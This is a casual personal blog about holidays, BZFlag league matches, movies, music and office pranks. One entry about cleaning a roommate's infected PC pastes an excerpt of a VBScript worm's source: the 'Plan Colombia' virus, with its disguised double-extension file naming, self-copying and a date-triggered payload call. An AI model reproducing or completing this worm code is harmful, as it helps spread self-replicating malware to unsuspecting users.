this girl drives a tank

My Mom has decided to go back east this Christmas to be with her sister, My dad, who hates to travel during the Holiday's will not be going so it looks like I will go with my Mom, probably come home a couple days after Boxing day.

Its very rural, theres tons of snow and it is always REALLY cold. :( To top it off last time I was there (3 years ago) they had 28.8 dial up, and I dont think that has changed! But, its not all bad, its also very pretty and you really get into the Chrismassy mood, so thats ok.

I havent done much to my IT guy lately, I did take a screenshot of my desktop, then opened it up in IE, removed all the toolbars and made it full screen so it looked like my real desktop, then told him my PC had froze, all he did was click on stuff for a few minutes, then said "yep...looks like she's locked up" and rebooted. Not much of a reward for my efforts, I will try to think up some better stuff.

I decided to install KDE today, partly because I need something easy for my non linux friends who occasionaly use this PC and partly as M1 told me I could mess around with the mouse settings to achieve more accurate mousing using KDE's mouse applet, although I had palyed with xset and had a "resolution" setting in my Xf86 file, the KDE applet looked easier.

It looks ok and is very simple to use, Its KDE version 3.1.4, I dont know if thats the latest or not. Not sure I like the icons at all and am having trouble finding and installing themes, which I assumed was simple to do in KDE. Email me if you know how to do this!

I played a little more bz this weekend than intended, but I must say it was fun for a change and good to see everyone again.

It looks like my gracious host's server has ssh enabled again so I can once again add to my little online diary.

So today I played a little bit of bz on ducati, it wasnt too good, the players were fine but the lag wasnt so good, I guess this is harder to fix than most things and at the moment the dev's seem to struggle with what issues are important and what ones are not. I dont mind all the new stuff being added but from a players point of view, and I am certian I share this veiw with many other players, lag is one of the biggist things holding the game back from being truly great. Anyhow..since I dont know how to write code, I will happily accept the fruits of thier labour.

I watched the Stephen King movie Dreamcatcher, which started out really good, these 4 boys had a special bond with another boy, and they were able to do freaky stuff like talk hear each other's thoughts and so on, your not sure as to the extent of the powers they have or how they got them, but it is well done and very watchable up to the part where they are on a hunting trip, and find a lost and disorientated hunter who drops an alien out of his butt!

After this, there is aliens fighting USA attack helicopters and all sorts of nonsense....anyhow, give this one a miss :)

I thought the second Matrix movie was really good, and despite what most of my friends thought, for me it was better than the first one, I thought the special effects were much better and Trinity riding the bike on the freeway was probably my favorite part. So now I think the 3rd one will warrant a trip to the theater.

I recently heard some songs by A.J Croce, he is Jim Croce's son, the "time in a bottle" guy, anyhow, some of it wasnt really my kind of stuff but I did like this one.

Also, here is a pretty good remix of Van Halen's "Jump" done by Aztec Camera, and for something a little different, try Saint Germains Cafe's Ocean Games.

Finally, for the passionate Jeff Buckley fan, a video of Last Goodbye. (59mb mpg format)

I have been hitting the malls lately on my way home from work in an attempt to finish my Christmas shopping, I am happy to announce that its almost done. I realize most people dont start the old Christmas panic shopping until December but usually I have to get mine done a long time in advance as I have to do all my younger brothers Christmas shopping for him on account of the fact that he is clueless and I dont want the rest of my family to get crappy, thoughtless gifts from him, my self included.

Now its time to watch Matrix reloaded....

I got a team mail from a player who had recently played our team, and gotten beat quite badly, like 14-0, then played 2 more matches, losing again to our team 15-0 and 18-0.

I have to be honest that i dont like those types of games at all, and the other team were totally new to the league, so for me, its not a good thing to beat them that badly 3 times in a row. The captian of the other team suggested we should have made the second ones unofficial which was probably a good idea in hindsight.

For my part, I have played in games against hopeless opponents, I remember one match with Bamf, he was at work and halfway through the match got interrupted, so all of a sudden his tank was spinning around in a circle, I was playing with the binocular setting on, and we still managed to beat them very easily, but it wasnt fun at all, in fact it was too easy and I felt bad for them afterwards.

I guess the problem in part is the league itself, there are not enough middle teams and too many really good teams, the newbie teams almost instanly are faced with matches against the best teams in the league. Taking it easy on them is no fun at all for the good teams, it defeats the purpose of a league in the first place, you play matches to win, but at the same time it should still be fun for everyone.

I'm in no way mad at my teamates, I know its hard to play those types of games but I am nevertheless disapointed that those results were official, and I do hope that team bounces back

In other bznews, my teammates recently played against one of the better teams in this league and were bombarded with comments like bulls**t, f**k this, among other things, this coming from 2 well known players that seem incapable of behaving like normal people. It sucks because they are often in irc and act like its just "part of the game" and ok to treat people like that and still be all frindly aftwerwards. We decicded as a team not to waste our time playing them in the future.

so yeah, good old bz ;-)

I dont know much about sports, except hockey, which I know a fair bit I guess So I rely on Jolly to teach me about her favorite team.

<jolly> go sox :)
<jolly> they just won last night :)
<bzgirl>oh, i dont watch football
<jolly> baseball :)
<bzgirl>heh
<jolly> lol close ang :)
<bzgirl>yeah
<bzgirl>i dont watch that either :)

that was last week, so for her sake I tried to watch a bit but couldnt watch more than 5 mins of it.

<jolly> have you ever heard of the curse?
<bzgirl>curse? no
<jolly> so there was this baseball player called babe ruth
<jolly> the red sox sold him to the yankees
<jolly> after that the yankees constantly won the world series
<jolly> the red sox haven't won since
<bzgirl>like babe ruth the candy bar?
<jolly> hehe. i had those last night!
<jolly> yup
<bzgirl>ive had those too!

So anyhow her team lost :( I told her I'd cheer for them next year. I guess up here baseball isnt as popular, but it was a big deal I remember when we won the world series, with all the parades and parties, I was hoping Jolly would get in on that stuff too this year, especially the party side of it. :-)

My roomate Sarah had asked me to look at her computer, the floppy drive didnt work, there was no sound all of a sudden, dvd drive wouldnt play dvd movies, the cdrw wouldnt burn cd's there were pop up windows spawning every 3-5 mins and some of her apps wouldnt run. So while looking through her mp3 folder I notice a bunch of files with the extension .mp3_vbs.vir, actually, more than a bunch, 1834 of them to be exact!

So it looks like some kazaa crap got in there. I reinstalled winxp and got everything working now except one little problem, there are 3 roms, a scsi cd burner, ide dvd drive and a regular cdrom, the dvd plays dvd movies fine, the cdrw burns cd's fine but neither of them will read a regular data cdrom, if you put one in, a dialog pops up saying please insert a cd. So she will have to use the regular cdrom drive just for data cd's.

Anyhow, fixing that is beyond my level of expertise and she will have to live have 3 single purpose drives.

I opened one of the virus's in Vim just to look at a real virus/worm here's a little snippet:

 






rem  ===============================================================================================
rem  "Plan Colombia" virus v1.0
rem  by Sand Ja9e Gr0w   (www.colombia.com)



rem  Dedicated to all the people that want to be hackers or crackers, in Colombia
rem  This program is also a protest act against the violence and corruption that Colombia lives...
rem  I always wanting that all this finishes, I have said...






rem  Santa fe de Bogotá000/09
rem  I dedicate to all you the song "GoodBye" of Andreas Bochelli
rem  =================================================================================================






rem  Thanks God..!
rem  A greeting for "Lina Marí from "Santa fe de Bogotárem  A greeting for "Tizo" from "Spain"
rem  And One kicked of tail to my friends, "eL ChE" and "ThE SpY"



rem  okay, ok...
rem  my baby start here...






On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow,polyn,numero,polye
eq=""
ctr=0



randomize
numero = Int(Rnd * 3) + 1
polye = ".GIF.vbs"
If numero = 1 Then
  polye = ".BMP.vbs"
 Else
  If numero = 2 Then
    polye = ".JPG.vbs"
  End If
End If






polyn="\"&polyname(Int(Rnd * 5) + 4)&polye



Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
If Day(Now) = 17 And Month(Now) = 9 Then
  MsgBox "Dedicated to my best brother=>Christiam Julian(C.J.G.S.)" & Chr(13) & "Att.  " & polyname(5) & "   (M.H.M. TEAM)"
  killnet()
End If

If you want to see the rest you can look here but rember to "save as", it is after all a virus/worm so download it at your own risk.

I spent some quality time on the net today and just for fun compiled the latest development release for bz. I then ran a ctf server and played a little bit with learner, mayhem and bryjen.

It was weird playing after not playing for so long, I knew what to do, but couldnt make my mouse do it. Its the kind of game I suppose you need to play everyday to stay good.

I did however manage to kill learner a few times so all was not lost ;-)

I am curious as to how Project24 will turn out, the idea of a turret that can move vertically and also rotate scares me a little, I remember trying Quake and UT and found learning all those controls daunting, but I will give it a shot I guess.

The turkey dinner turned out fine, and Bags gave me some tips to make the turkey turn out just right, so thanks for that. We also had pumpkin cheesecake! That was really good, Im a cheesecake fanatic and this was one of the best ones ive ever tasted.

Of course my dad and brothers show up, park themselves on the couch with football on tv and proceed to drink every drop of alcohol in sight. I did make them clean up and do dishes before they could return to the game :)

So Im off the hook for big meals npw for a while, Mom will do Christmas so I am safe at least until Easter.

When I drive home I usually play loud agressive music, it makes me relax oddly enough, and suits my impatient, gesture enhanced driving style.

I thought I'd share a couple such raucous songs, one by the Distillers, very punk-like band with a great no nonsense girl singer called Brody

The Distillers - Drain The Blood

The other song is by Pearl Jam, a band I quite honestly dont like, I never got into that whole grunge thing, and found so many bands of that type to just musically flow into each other until you cant tell them apart. Its almost like the record company said "Try to sound like Nirvana". I just call every band like this StoneTemplePearlGarden.

However this PJ song I do like for some reason, It manages to get me all hyper driving home. :-)

Pearl Jam - Do the Evolution

It's Thanksgiving weekend coming up already, I know you Americans think we're silly for having Thanksgiving so much earlier than you, but we think your silly for voting for Arnold :)

Anyhow, I kind of put the pressure on my self this year by volunteering to cook, I have never cooked a meal of this magnitude before, always opting to be Mom's helper instead, but Mom thinks "it's time" So this week Ive been reaserching various stuffing recipies and the like, I'm really quite nervous about it, but hopefully it will turn out edible.

So my work has gotten on this propaganda trip, with all this renovation going on thet took the oppertunity to put up some slogans on the wall designed to inspire us. Stuff like "Failing to Plan is Planning to Fail" and "We Always Deliver" (which we go around saying as "We Always Sell Liver") Anyhow, its pretty annoying, I feel like bringing pom-poms to work sometimes.

I noticed the Bzflag Interational tourney is started, I remember mentioning to Ches a while ago that an Olympic style tourney might be fun with National teams, he smiled and said "the Germans will win" ;-)

ª I went out on Friday night and ended up getting really really drunk. The kind of drunk that the next day you vow never to go out again. I drank 3 whole pints of Guiness! And a few Vodka Cranberries and I remeber some shooters in there also. Yesterday was awful, I got up at like 900am and immediately laid down on the couch and slept until late afternoon. What a waste of a day. thats the part of drinking I really hate. By supper time I was doing ok which was good as my parents and brother were here and my brother is annoying enough let alone if your hungover. Mom brought over a box of clothes belonging to me that she'd kept since I was in like grade 10! My favorite pair of acid wash jeans were in there, you remeber wearing acid wash jeans dont you? They used to be so tight I had to lay down to put them on :-) Im going to keep them as my fasion antenna tell me that the 80's is coming back into style.

It seems JeffM is having problems with his IT guy and he took my blog offline yesterday, this guy must be stopped! He is obviously of the same ilk as my IT guy. Where do these people come from?! My guy has been busy lately, we have built this new addition onto our office, so they moved us all to the new section while they then renovate the old section, so it seems he hasnt quite got the roaming profile down right yet, im supposed to be able to get my desktop (complete with misformed background and missing icons) from any PC I log into, but sometimes this dosent work.

He is convinced its something ive done of course, and this time, it really isnt! But I will gladly take the blame, Oh, the other bonus is that at my tempory desk, theres no masking tape over the monitor buttons so i can play with those again :-)